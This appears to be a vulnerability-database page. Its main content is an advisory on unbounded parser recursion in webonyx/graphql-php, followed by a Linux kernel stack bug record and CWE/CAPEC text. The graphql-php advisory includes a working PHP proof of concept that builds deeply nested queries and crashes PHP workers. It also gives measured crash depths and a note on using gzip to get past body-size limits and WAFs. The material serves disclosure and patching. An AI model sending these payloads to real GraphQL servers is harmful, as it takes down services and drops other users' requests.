When the C stack is exhausted by graphql-php's recursive parser, PHP segfaults. The PHP 8.3 runtime ships with zend.max_allowed_stack_size (default 0 = auto-detect), which is supposed to convert userland recursion overflow into a catchable Stack overflow detected error. In practice, this protection does not catch the graphql-php parser overflow: testing with PHP 8.3.30 in default Docker configuration, every crashing depth produces SIGSEGV (exit code 139), not a catchable error.
This finding has been tested against the latest stable release webonyx/graphql-php@v15.31.4 running on PHP 8.3.30.
Root Cause
// src/Language/Parser.php:168
class Parser
{
// ... no recursionDepth field ...
private Lexer $lexer;
// src/Language/Parser.php:325
public function __construct($source, array $options = [])
{
$sourceObj = $source instanceof Source
? $source
: new Source($source);
$this->lexer = new Lexer($sourceObj, $options);
}
There is no field tracking recursion depth. Every recursive parse method calls itself without bound. PHP function call frames are small (~256 bytes each), but the cumulative depth needed by recursive descent for a GraphQL value literal exhausts an 8 MB stack at approximately 26,000-37,000 levels of input nesting (depending on the call chain depth per AST level).
Proof of Concept
// composer require webonyx/graphql-php:v15.31.4
<?php
require __DIR__.'/vendor/autoload.php';
use GraphQL\Language\Parser;
// Each invocation tests one (vector, depth) pair so we can observe per-process
// exit code. SIGSEGV cannot be caught by PHP try/catch.
$v = $argv[1]; $d = (int)$argv[2];
switch ($v) {
case 'A': $q = "{ a(x: " . str_repeat('{a: ', $d) . '1' . str_repeat('}', $d) . ") }"; break;
case 'B': $q = str_repeat('{ a', $d) . str_repeat(' }', $d); break;
case 'C': $q = "{ a(x: " . str_repeat('[', $d) . '1' . str_repeat(']', $d) . ") }"; break;
case 'D': $q = "query(\$v: " . str_repeat('[', $d) . "Int" . str_repeat(']', $d) . ") { a }"; break;
}
try {
Parser::parse($q);
echo "OK depth=$d size=" . strlen($q) . "\n";
} catch (\Throwable $e) {
echo "ERR " . get_class($e) . ": " . substr($e->getMessage(), 0, 80) . "\n";
exit(1);
}
Crash thresholds measured on webonyx/graphql-php@v15.31.4, PHP 8.3.30, ulimit -s 8192, Linux x86_64
Each vector was bisected to find the smallest crashing depth. Process exit code 139 = 128 + SIGSEGV (11).
| Vector | Recursive call chain | last_OK_depth | crash_depth | Crash payload size |
|---|---|---|---|---|
A: nested object values {a:{a:..}} |
parseValueLiteral -> parseObject -> parseObjectField -> parseValueLiteral |
25,781 | 26,250 | ~129 KB |
B: nested selection sets {a{a{..}}} |
parseSelectionSet -> parseSelection -> parseField -> parseSelectionSet |
25,781 | 26,250 | ~129 KB |
C: nested list values [[..1..]] |
parseValueLiteral -> parseList -> parseValueLiteral |
37,187 | 37,500 | ~74 KB |
D: nested list types [[Int]] |
parseTypeReference -> parseTypeReference |
87,187 | 87,500 | ~174 KB |
The smallest reliable crashing payload is vector C (nested list values) at approximately 74 KB. All four vectors stay under any field, complexity, or depth validation rule because they crash at parse time, before validation runs.
Process exit observed
$ php -d xdebug.mode=off poc_one.php C 37500
$ echo $?
139
$
Standard error contains no PHP error message, no stack trace, no log entry. The process is killed by the kernel via SIGSEGV. In a php-fpm deployment, the FPM master logs WARNING: [pool www] child 12345 exited on signal 11 (SIGSEGV) and respawns the worker, dropping any in-flight requests on that worker.
zend.max_allowed_stack_size does not help
PHP 8.3 introduced zend.max_allowed_stack_size (default 0 = auto-detect from pthread_attr_getstacksize) to detect userland recursion overflow and raise a catchable Stack overflow detected error. In testing against graphql-php v15.31.4, this protection does not prevent the segfault:
=== Default settings ===
$ php -d xdebug.mode=off poc.php A 30000
Segmentation fault
EXIT=139
=== zend.max_allowed_stack_size=2M ===
$ php -d zend.max_allowed_stack_size=2097152 poc.php A 30000
Segmentation fault
EXIT=139
=== zend.max_allowed_stack_size=1M, reserved=128K ===
$ php -d zend.max_allowed_stack_size=1048576 -d zend.reserved_stack_size=131072 poc.php A 30000
Segmentation fault
EXIT=139
=== ulimit -s 4096, default zend settings ===
$ php -d xdebug.mode=off poc.php A 15000
Segmentation fault
EXIT=139
Every configuration tested produces SIGSEGV. The runtime check is not catching this overflow class, possibly because the per-frame stack consumption is below the per-call check granularity, or because the auto-detection of the available stack diverges from the actual ulimit -s in containerized environments. Either way, default PHP 8.3 configurations as shipped by official Docker images do not protect against this.
Why try/catch cannot help
PHP's try { Parser::parse($q); } catch (\Throwable $e) { ... } cannot catch SIGSEGV. The signal is delivered by the kernel after the C stack pointer crosses the guard page; the PHP runtime never gets a chance to raise a userland exception. The process exits with status 139 and the catch block is never entered.
Impact
- Process termination: a single 74 KB POST kills the entire PHP process that handles it. In php-fpm, the worker is killed and respawned by the master; every other in-flight request on that worker is dropped. In long-running PHP runtimes (Swoole, RoadRunner, ReactPHP), the entire daemon dies.
- Pre-validation:
Parser::parseis invoked before any validation rule. Field count caps, complexity analyzers, persisted query allow-lists, and all custom validators run after parsing and therefore cannot intercept the crash. - No catchable error: unlike a slow query, a memory_limit exceeded, or a parse error, SIGSEGV cannot be intercepted by PHP. There is no error log entry from the PHP application; only the FPM master log shows
child exited on signal 11. - Tiny payload: 74 KB is well below every common HTTP body size limit. The query is also extremely compressible:
[repeated 37,500 times compresses to a few hundred bytes via gzip, bypassing nginxclient_max_body_size, AWS ALB body-size caps, and WAF inspection of the encoded payload. - Ecosystem reach: webonyx/graphql-php is the parser used by Lighthouse (Laravel), Overblog/GraphQLBundle (Symfony), wp-graphql (WordPress), Drupal GraphQL module, and the majority of PHP GraphQL servers. Any of these is exposed unless the front layer rejects the decompressed payload before reaching the parser.
Affected Versions
webonyx/graphql-php@v15.31.4(latest stable as of 2026-04-08): all four vectors confirmed by direct measurement.- The recursive descent design has been unchanged since the parser was rewritten in v15.x. Earlier 15.x and 14.x releases share the same code path and are believed vulnerable but were not retested individually.
Remediation
Option 1 -- Add a parser-level recursion depth counter (recommended)
Add a recursionDepth and maxRecursionDepth field to GraphQL\Language\Parser. Increment at the entry of each recursive method, decrement on return, and throw a SyntaxError when it exceeds the configured limit. A sensible default is 256: well above any realistic legitimate query, and approximately 100x below the smallest current crash threshold.
// src/Language/Parser.php
class Parser
{
private int $recursionDepth = 0;
private int $maxRecursionDepth;
public function __construct($source, array $options = [])
{
$this->maxRecursionDepth = $options['maxRecursionDepth'] ?? 256;
// ... existing body ...
}
private function parseValueLiteral(bool $isConst): ValueNode
{
if (++$this->recursionDepth > $this->maxRecursionDepth) {
throw new SyntaxError(
$this->lexer->source,
$this->lexer->token->start,
"Document exceeds maximum allowed recursion depth of {$this->maxRecursionDepth}."
);
}
try {
// ... existing body ...
} finally {
--$this->recursionDepth;
}
}
}
Apply the same pattern to parseSelectionSet, parseObject, parseObjectField, parseList, parseTypeReference, parseInlineFragment, and parseField. The thrown SyntaxError is a normal PHP exception and is fully catchable by user code.
Option 2 -- Iterative parsing for the deepest call chains
Rewrite parseValueLiteral / parseObject / parseList and parseTypeReference using an explicit work stack instead of mutual recursion. This removes the call frame budget entirely for those vectors but does not address parseSelectionSet, which is harder to convert.
Option 3 -- Recommend a token limit option in addition to depth
graphql-php currently has no token limit option at all. Adding a maxTokens parser option would provide defense in depth even if the recursion limit is misconfigured.
The strongest fix is Option 1 with a non-zero default for maxRecursionDepth.
Audit status of related parser-side findings on graphql-php 15.31.4
The following two related parser/validator findings were tested against webonyx/graphql-php@v15.31.4.
Token-limit comment bypass
Not applicable: graphql-php exposes no maxTokens option of any kind. The bypass class does not apply because there is no token counter to bypass. However, this is itself a finding worth documenting: graphql-php has no parser-side resource limits whatsoever. A 391 KB comment-padded payload (100,000 comment lines) is parsed in 193 ms with a +18.4 MB heap delta, with no upper bound. Operators relying on graphql-php as their primary line of defense have no parser-level mitigation against query-size DoS, only the global memory_limit and PHP's post_max_size.
The Lexer::lookahead method does loop while $token->kind === Token::COMMENT (so comments are silently consumed before any per-token check would run), but in graphql-php this is moot because there is no maxTokens counter to bypass in the first place.
OverlappingFieldsCanBeMerged validation DoS
graphql-php is vulnerable. src/Validator/Rules/OverlappingFieldsCanBeMerged.php:311 contains an O(n^2) pairwise loop, and inline fragments are flattened into the same $astAndDefs map at line 266 (case $selection instanceof InlineFragmentNode: $this->internalCollectFieldsAndFragmentNames(... $astAndDefs ...)), bypassing the named-fragment cache. Measured validation cost: 117 seconds for a 364 KB query (200 outer x 100 inner inline fragments). This is documented in a separate advisory: see GHSA_REPORT_GRAPHQL_PHP_15-31-4_OVERLAPPING_FIELDS.md.
This audit covers the three parser-side and validation-side findings tracked together for this implementation. The parser stack overflow documented above and the OverlappingFieldsCanBeMerged validation DoS are exploitable on graphql-php 15.31.4; the token-limit comment bypass is not applicable because there is no token limit option to bypass (which is itself a defense-in-depth gap).
Resources
- PHP documentation
zend.max_allowed_stack_size-- introduced in PHP 8.3 - Linux signal(7) -- SIGSEGV (signal 11) is delivered by the kernel for invalid memory access; PHP cannot intercept it
- Companion advisory for this implementation:
OverlappingFieldsCanBeMergedquadratic validation DoS via flattened inline fragments (Quadratic validation cost in OverlappingFieldsCanBeMerged via inline fragments).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 15.32.2"
},
"package": {
"ecosystem": "Packagist",
"name": "webonyx/graphql-php"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "15.32.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T17:24:57Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\n`GraphQL\\Language\\Parser` is a recursive descent parser with no recursion depth limit and no `zend.max_allowed_stack_size` interaction. Crafted nested queries trigger a SIGSEGV in the PHP runtime, killing the FPM/CLI worker process. Smallest crashing payload is approximately 74 KB.\n\n## Affected Component\n\n- `src/Language/Parser.php` -- the `Parser` class (no recursion depth tracking)\n- `src/Language/Lexer.php` -- the `Lexer` class\n\n## Severity\n\n**HIGH (8.2)** -- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H\n\nIntegrity is Low because the entire PHP process (FPM worker, CLI process, Swoole worker, RoadRunner worker, etc.) is terminated by SIGSEGV. Every concurrent request handled by the same process is dropped along with the attacker\u0027s request, with no error message, no log entry, and no recovery path beyond restart. The 74 KB minimum crashing payload sits well below any common HTTP body size limit, and the failure mode is **the worst possible**: not catchable, not observable, no diagnostics.\n\n## Description\n\n`GraphQL\\Language\\Parser` parses GraphQL documents using mutually recursive PHP methods (`parseValueLiteral`, `parseObject`, `parseObjectField`, `parseList`, `parseSelectionSet`, `parseSelection`, `parseField`, `parseTypeReference`, `parseInlineFragment`). The constructor (`Parser.php:325`) accepts only three options:\n\n```php\n// src/Language/Parser.php:64\n/**\n * @phpstan-type ParserOptions array{\n * noLocation?: bool,\n * allowLegacySDLEmptyFields?: bool,\n * allowLegacySDLImplementsInterfaces?: bool,\n * }\n */\n```\n\nThere is **no `maxTokens`, no `maxDepth`, no `maxRecursionDepth`, no token counter, and no recursion depth counter** anywhere in the parser or lexer. PHP recursion is bounded only by the C stack size (typically 8 MB via `ulimit -s 8192`).\n\nWhen the C stack is exhausted by graphql-php\u0027s recursive parser, **PHP segfaults**. The PHP 8.3 runtime ships with `zend.max_allowed_stack_size` (default 0 = auto-detect), which is supposed to convert userland recursion overflow into a catchable `Stack overflow detected` error. **In practice, this protection does not catch the graphql-php parser overflow**: testing with PHP 8.3.30 in default Docker configuration, every crashing depth produces SIGSEGV (exit code 139), not a catchable error.\n\nThis finding has been tested against the **latest stable release `webonyx/graphql-php@v15.31.4`** running on PHP 8.3.30.\n\n## Root Cause\n\n```php\n// src/Language/Parser.php:168\nclass Parser\n{\n // ... no recursionDepth field ...\n private Lexer $lexer;\n\n // src/Language/Parser.php:325\n public function __construct($source, array $options = [])\n {\n $sourceObj = $source instanceof Source\n ? $source\n : new Source($source);\n $this-\u003elexer = new Lexer($sourceObj, $options);\n }\n```\n\nThere is no field tracking recursion depth. Every recursive parse method calls itself without bound. PHP function call frames are small (~256 bytes each), but the cumulative depth needed by recursive descent for a GraphQL value literal exhausts an 8 MB stack at approximately 26,000-37,000 levels of input nesting (depending on the call chain depth per AST level).\n\n## Proof of Concept\n\n```php\n// composer require webonyx/graphql-php:v15.31.4\n\u003c?php\nrequire __DIR__.\u0027/vendor/autoload.php\u0027;\nuse GraphQL\\Language\\Parser;\n\n// Each invocation tests one (vector, depth) pair so we can observe per-process\n// exit code. SIGSEGV cannot be caught by PHP try/catch.\n$v = $argv[1]; $d = (int)$argv[2];\n\nswitch ($v) {\n case \u0027A\u0027: $q = \"{ a(x: \" . str_repeat(\u0027{a: \u0027, $d) . \u00271\u0027 . str_repeat(\u0027}\u0027, $d) . \") }\"; break;\n case \u0027B\u0027: $q = str_repeat(\u0027{ a\u0027, $d) . str_repeat(\u0027 }\u0027, $d); break;\n case \u0027C\u0027: $q = \"{ a(x: \" . str_repeat(\u0027[\u0027, $d) . \u00271\u0027 . str_repeat(\u0027]\u0027, $d) . \") }\"; break;\n case \u0027D\u0027: $q = \"query(\\$v: \" . str_repeat(\u0027[\u0027, $d) . \"Int\" . str_repeat(\u0027]\u0027, $d) . \") { a }\"; break;\n}\n\ntry {\n Parser::parse($q);\n echo \"OK depth=$d size=\" . strlen($q) . \"\\n\";\n} catch (\\Throwable $e) {\n echo \"ERR \" . get_class($e) . \": \" . substr($e-\u003egetMessage(), 0, 80) . \"\\n\";\n exit(1);\n}\n```\n\n### Crash thresholds measured on `webonyx/graphql-php@v15.31.4`, PHP 8.3.30, ulimit -s 8192, Linux x86_64\n\nEach vector was bisected to find the smallest crashing depth. Process exit code 139 = 128 + SIGSEGV (11).\n\n| Vector | Recursive call chain | last_OK_depth | crash_depth | Crash payload size |\n|--------|----------------------|---:|---:|---:|\n| A: nested object values `{a:{a:..}}` | `parseValueLiteral` -\u003e `parseObject` -\u003e `parseObjectField` -\u003e `parseValueLiteral` | 25,781 | **26,250** | ~129 KB |\n| B: nested selection sets `{a{a{..}}}` | `parseSelectionSet` -\u003e `parseSelection` -\u003e `parseField` -\u003e `parseSelectionSet` | 25,781 | **26,250** | ~129 KB |\n| C: nested list values `[[..1..]]` | `parseValueLiteral` -\u003e `parseList` -\u003e `parseValueLiteral` | 37,187 | **37,500** | **~74 KB** |\n| D: nested list types `[[Int]]` | `parseTypeReference` -\u003e `parseTypeReference` | 87,187 | **87,500** | ~174 KB |\n\nThe smallest reliable crashing payload is **vector C (nested list values) at approximately 74 KB**. All four vectors stay under any field, complexity, or depth validation rule because they crash at parse time, before validation runs.\n\n### Process exit observed\n\n```\n$ php -d xdebug.mode=off poc_one.php C 37500\n$ echo $?\n139\n$\n```\n\nStandard error contains no PHP error message, no stack trace, no log entry. The process is killed by the kernel via SIGSEGV. In a php-fpm deployment, the FPM master logs `WARNING: [pool www] child 12345 exited on signal 11 (SIGSEGV)` and respawns the worker, dropping any in-flight requests on that worker.\n\n### `zend.max_allowed_stack_size` does not help\n\nPHP 8.3 introduced `zend.max_allowed_stack_size` (default 0 = auto-detect from `pthread_attr_getstacksize`) to detect userland recursion overflow and raise a catchable `Stack overflow detected` error. In testing against graphql-php v15.31.4, this protection does **not** prevent the segfault:\n\n```\n=== Default settings ===\n$ php -d xdebug.mode=off poc.php A 30000\nSegmentation fault\nEXIT=139\n\n=== zend.max_allowed_stack_size=2M ===\n$ php -d zend.max_allowed_stack_size=2097152 poc.php A 30000\nSegmentation fault\nEXIT=139\n\n=== zend.max_allowed_stack_size=1M, reserved=128K ===\n$ php -d zend.max_allowed_stack_size=1048576 -d zend.reserved_stack_size=131072 poc.php A 30000\nSegmentation fault\nEXIT=139\n\n=== ulimit -s 4096, default zend settings ===\n$ php -d xdebug.mode=off poc.php A 15000\nSegmentation fault\nEXIT=139\n```\n\nEvery configuration tested produces SIGSEGV. The runtime check is not catching this overflow class, possibly because the per-frame stack consumption is below the per-call check granularity, or because the auto-detection of the available stack diverges from the actual `ulimit -s` in containerized environments. Either way, default PHP 8.3 configurations as shipped by official Docker images do not protect against this.\n\n## Why try/catch cannot help\n\nPHP\u0027s `try { Parser::parse($q); } catch (\\Throwable $e) { ... }` cannot catch SIGSEGV. The signal is delivered by the kernel after the C stack pointer crosses the guard page; the PHP runtime never gets a chance to raise a userland exception. The process exits with status 139 and the `catch` block is never entered.\n\n## Impact\n\n- **Process termination**: a single 74 KB POST kills the entire PHP process that handles it. In php-fpm, the worker is killed and respawned by the master; every other in-flight request on that worker is dropped. In long-running PHP runtimes (Swoole, RoadRunner, ReactPHP), the entire daemon dies.\n- **Pre-validation**: `Parser::parse` is invoked before any validation rule. Field count caps, complexity analyzers, persisted query allow-lists, and all custom validators run after parsing and therefore cannot intercept the crash.\n- **No catchable error**: unlike a slow query, a memory_limit exceeded, or a parse error, SIGSEGV cannot be intercepted by PHP. There is no error log entry from the PHP application; only the FPM master log shows `child exited on signal 11`.\n- **Tiny payload**: 74 KB is well below every common HTTP body size limit. The query is also extremely compressible: `[` repeated 37,500 times compresses to a few hundred bytes via gzip, bypassing nginx `client_max_body_size`, AWS ALB body-size caps, and WAF inspection of the encoded payload.\n- **Ecosystem reach**: webonyx/graphql-php is the parser used by **Lighthouse** (Laravel), **Overblog/GraphQLBundle** (Symfony), **wp-graphql** (WordPress), **Drupal GraphQL module**, and the majority of PHP GraphQL servers. Any of these is exposed unless the front layer rejects the decompressed payload before reaching the parser.\n\n## Affected Versions\n\n- **`webonyx/graphql-php@v15.31.4`** (latest stable as of 2026-04-08): all four vectors confirmed by direct measurement.\n- The recursive descent design has been unchanged since the parser was rewritten in v15.x. Earlier 15.x and 14.x releases share the same code path and are believed vulnerable but were not retested individually.\n\n## Remediation\n\n### Option 1 -- Add a parser-level recursion depth counter (recommended)\n\nAdd a `recursionDepth` and `maxRecursionDepth` field to `GraphQL\\Language\\Parser`. Increment at the entry of each recursive method, decrement on return, and throw a `SyntaxError` when it exceeds the configured limit. A sensible default is 256: well above any realistic legitimate query, and approximately 100x below the smallest current crash threshold.\n\n```php\n// src/Language/Parser.php\nclass Parser\n{\n private int $recursionDepth = 0;\n private int $maxRecursionDepth;\n\n public function __construct($source, array $options = [])\n {\n $this-\u003emaxRecursionDepth = $options[\u0027maxRecursionDepth\u0027] ?? 256;\n // ... existing body ...\n }\n\n private function parseValueLiteral(bool $isConst): ValueNode\n {\n if (++$this-\u003erecursionDepth \u003e $this-\u003emaxRecursionDepth) {\n throw new SyntaxError(\n $this-\u003elexer-\u003esource,\n $this-\u003elexer-\u003etoken-\u003estart,\n \"Document exceeds maximum allowed recursion depth of {$this-\u003emaxRecursionDepth}.\"\n );\n }\n try {\n // ... existing body ...\n } finally {\n --$this-\u003erecursionDepth;\n }\n }\n}\n```\n\nApply the same pattern to `parseSelectionSet`, `parseObject`, `parseObjectField`, `parseList`, `parseTypeReference`, `parseInlineFragment`, and `parseField`. The thrown `SyntaxError` is a normal PHP exception and is fully catchable by user code.\n\n### Option 2 -- Iterative parsing for the deepest call chains\n\nRewrite `parseValueLiteral` / `parseObject` / `parseList` and `parseTypeReference` using an explicit work stack instead of mutual recursion. This removes the call frame budget entirely for those vectors but does not address `parseSelectionSet`, which is harder to convert.\n\n### Option 3 -- Recommend a token limit option in addition to depth\n\ngraphql-php currently has **no token limit option at all**. Adding a `maxTokens` parser option would provide defense in depth even if the recursion limit is misconfigured.\n\nThe strongest fix is Option 1 with a non-zero default for `maxRecursionDepth`.\n\n## Audit status of related parser-side findings on graphql-php 15.31.4\n\nThe following two related parser/validator findings were tested against `webonyx/graphql-php@v15.31.4`.\n\n### Token-limit comment bypass\n\n**Not applicable**: graphql-php exposes **no `maxTokens` option of any kind**. The bypass class does not apply because there is no token counter to bypass. However, this is itself a finding worth documenting: graphql-php has **no parser-side resource limits whatsoever**. A 391 KB comment-padded payload (100,000 comment lines) is parsed in 193 ms with a +18.4 MB heap delta, with no upper bound. Operators relying on graphql-php as their primary line of defense have no parser-level mitigation against query-size DoS, only the global `memory_limit` and PHP\u0027s `post_max_size`.\n\nThe `Lexer::lookahead` method does loop while `$token-\u003ekind === Token::COMMENT` (so comments are silently consumed before any per-token check would run), but in graphql-php this is moot because there is no `maxTokens` counter to bypass in the first place.\n\n### `OverlappingFieldsCanBeMerged` validation DoS\n\ngraphql-php **is** vulnerable. `src/Validator/Rules/OverlappingFieldsCanBeMerged.php:311` contains an `O(n^2)` pairwise loop, and inline fragments are flattened into the same `$astAndDefs` map at line 266 (`case $selection instanceof InlineFragmentNode: $this-\u003einternalCollectFieldsAndFragmentNames(... $astAndDefs ...)`), bypassing the named-fragment cache. Measured validation cost: 117 seconds for a 364 KB query (200 outer x 100 inner inline fragments). This is documented in a separate advisory: see `GHSA_REPORT_GRAPHQL_PHP_15-31-4_OVERLAPPING_FIELDS.md`.\n\nThis audit covers the three parser-side and validation-side findings tracked together for this implementation. The parser stack overflow documented above and the `OverlappingFieldsCanBeMerged` validation DoS are exploitable on graphql-php 15.31.4; the token-limit comment bypass is not applicable because there is no token limit option to bypass (which is itself a defense-in-depth gap).\n\n## Resources\n\n- PHP documentation [`zend.max_allowed_stack_size`](https://www.php.net/manual/en/ini.core.php#ini.zend.max-allowed-stack-size) -- introduced in PHP 8.3\n- Linux signal(7) -- SIGSEGV (signal 11) is delivered by the kernel for invalid memory access; PHP cannot intercept it\n- Companion advisory for this implementation: `OverlappingFieldsCanBeMerged` quadratic validation DoS via flattened inline fragments (Quadratic validation cost in OverlappingFieldsCanBeMerged via inline fragments).",
"id": "GHSA-r7cg-qjjm-xhqq",
"modified": "2026-05-05T17:24:57Z",
"published": "2026-05-05T17:24:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/webonyx/graphql-php/security/advisories/GHSA-r7cg-qjjm-xhqq"
},
{
"type": "WEB",
"url": "https://github.com/webonyx/graphql-php/commit/7b7f2080ca5f7d5340a696fc5701b19a9222d2c2"
},
{
"type": "PACKAGE",
"url": "https://github.com/webonyx/graphql-php"
},
{
"type": "WEB",
"url": "https://github.com/webonyx/graphql-php/releases/tag/v15.32.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
"type": "CVSS_V3"
}
],
"summary": "webonyx/graphql-php has unbounded recursion in parser that causes stack overflow on crafted nested input"
}
GHSA-R7PJ-34J8-6JGG
Vulnerability from github – Published: 2024-05-22 09:31 – Updated: 2024-11-07 18:31In the Linux kernel, the following vulnerability has been resolved:
KVM: PPC: Book3S HV: Fix stack handling in idle_kvm_start_guest()
In commit 10d91611f426 ("powerpc/64s: Reimplement book3s idle code in C") kvm_start_guest() became idle_kvm_start_guest(). The old code allocated a stack frame on the emergency stack, but didn't use the frame to store anything, and also didn't store anything in its caller's frame.
idle_kvm_start_guest() on the other hand is written more like a normal C function, it creates a frame on entry, and also stores CR/LR into its callers frame (per the ABI). The problem is that there is no caller frame on the emergency stack.
The emergency stack for a given CPU is allocated with:
paca_ptrs[i]->emergency_sp = alloc_stack(limit, i) + THREAD_SIZE;
So emergency_sp actually points to the first address above the emergency stack allocation for a given CPU, we must not store above it without first decrementing it to create a frame. This is different to the regular kernel stack, paca->kstack, which is initialised to point at an initial frame that is ready to use.
idle_kvm_start_guest() stores the backchain, CR and LR all of which write outside the allocation for the emergency stack. It then creates a stack frame and saves the non-volatile registers. Unfortunately the frame it creates is not large enough to fit the non-volatiles, and so the saving of the non-volatile registers also writes outside the emergency stack allocation.
The end result is that we corrupt whatever is at 0-24 bytes, and 112-248 bytes above the emergency stack allocation.
In practice this has gone unnoticed because the memory immediately above the emergency stack happens to be used for other stack allocations, either another CPUs mc_emergency_sp or an IRQ stack. See the order of calls to irqstack_early_init() and emergency_stack_init().
The low addresses of another stack are the top of that stack, and so are only used if that stack is under extreme pressue, which essentially never happens in practice - and if it did there's a high likelyhood we'd crash due to that stack overflowing.
Still, we shouldn't be corrupting someone else's stack, and it is purely luck that we aren't corrupting something else.
To fix it we save CR/LR into the caller's frame using the existing r1 on entry, we then create a SWITCH_FRAME_SIZE frame (which has space for pt_regs) on the emergency stack with the backchain pointing to the existing stack, and then finally we switch to the new frame on the emergency stack.
{
"affected": [],
"aliases": [
"CVE-2021-47465"
],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-22T07:15:11Z",
"severity": "HIGH"
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: PPC: Book3S HV: Fix stack handling in idle_kvm_start_guest()\n\nIn commit 10d91611f426 (\"powerpc/64s: Reimplement book3s idle code in\nC\") kvm_start_guest() became idle_kvm_start_guest(). The old code\nallocated a stack frame on the emergency stack, but didn\u0027t use the\nframe to store anything, and also didn\u0027t store anything in its caller\u0027s\nframe.\n\nidle_kvm_start_guest() on the other hand is written more like a normal C\nfunction, it creates a frame on entry, and also stores CR/LR into its\ncallers frame (per the ABI). The problem is that there is no caller\nframe on the emergency stack.\n\nThe emergency stack for a given CPU is allocated with:\n\n paca_ptrs[i]-\u003eemergency_sp = alloc_stack(limit, i) + THREAD_SIZE;\n\nSo emergency_sp actually points to the first address above the emergency\nstack allocation for a given CPU, we must not store above it without\nfirst decrementing it to create a frame. This is different to the\nregular kernel stack, paca-\u003ekstack, which is initialised to point at an\ninitial frame that is ready to use.\n\nidle_kvm_start_guest() stores the backchain, CR and LR all of which\nwrite outside the allocation for the emergency stack. It then creates a\nstack frame and saves the non-volatile registers. Unfortunately the\nframe it creates is not large enough to fit the non-volatiles, and so\nthe saving of the non-volatile registers also writes outside the\nemergency stack allocation.\n\nThe end result is that we corrupt whatever is at 0-24 bytes, and 112-248\nbytes above the emergency stack allocation.\n\nIn practice this has gone unnoticed because the memory immediately above\nthe emergency stack happens to be used for other stack allocations,\neither another CPUs mc_emergency_sp or an IRQ stack. See the order of\ncalls to irqstack_early_init() and emergency_stack_init().\n\nThe low addresses of another stack are the top of that stack, and so are\nonly used if that stack is under extreme pressue, which essentially\nnever happens in practice - and if it did there\u0027s a high likelyhood we\u0027d\ncrash due to that stack overflowing.\n\nStill, we shouldn\u0027t be corrupting someone else\u0027s stack, and it is purely\nluck that we aren\u0027t corrupting something else.\n\nTo fix it we save CR/LR into the caller\u0027s frame using the existing r1 on\nentry, we then create a SWITCH_FRAME_SIZE frame (which has space for\npt_regs) on the emergency stack with the backchain pointing to the\nexisting stack, and then finally we switch to the new frame on the\nemergency stack.",
"id": "GHSA-r7pj-34j8-6jgg",
"modified": "2024-11-07T18:31:21Z",
"published": "2024-05-22T09:31:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-47465"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/6d077c37c4643394b1bae9682da48164fc147ea8"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/80bbb0bc3a0288442f7fe6fc514f4ee1cb06ccb7"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/9b4416c5095c20e110c82ae602c254099b83b72f"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/fbd724c49bead048ae9fc1a5b7bff2fb3e54f855"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Ensure that an end condition will be reached under all logic conditions. The end condition may include checking against the depth of recursion and exiting with an error if the recursion goes too deep. The complexity of the end condition contributes to the effectiveness of this action.
Mitigation
Increase the stack size.
CAPEC-230: Serialized Data with Nested Payloads
Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.
CAPEC-231: Oversized Serialized Data Payloads
An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.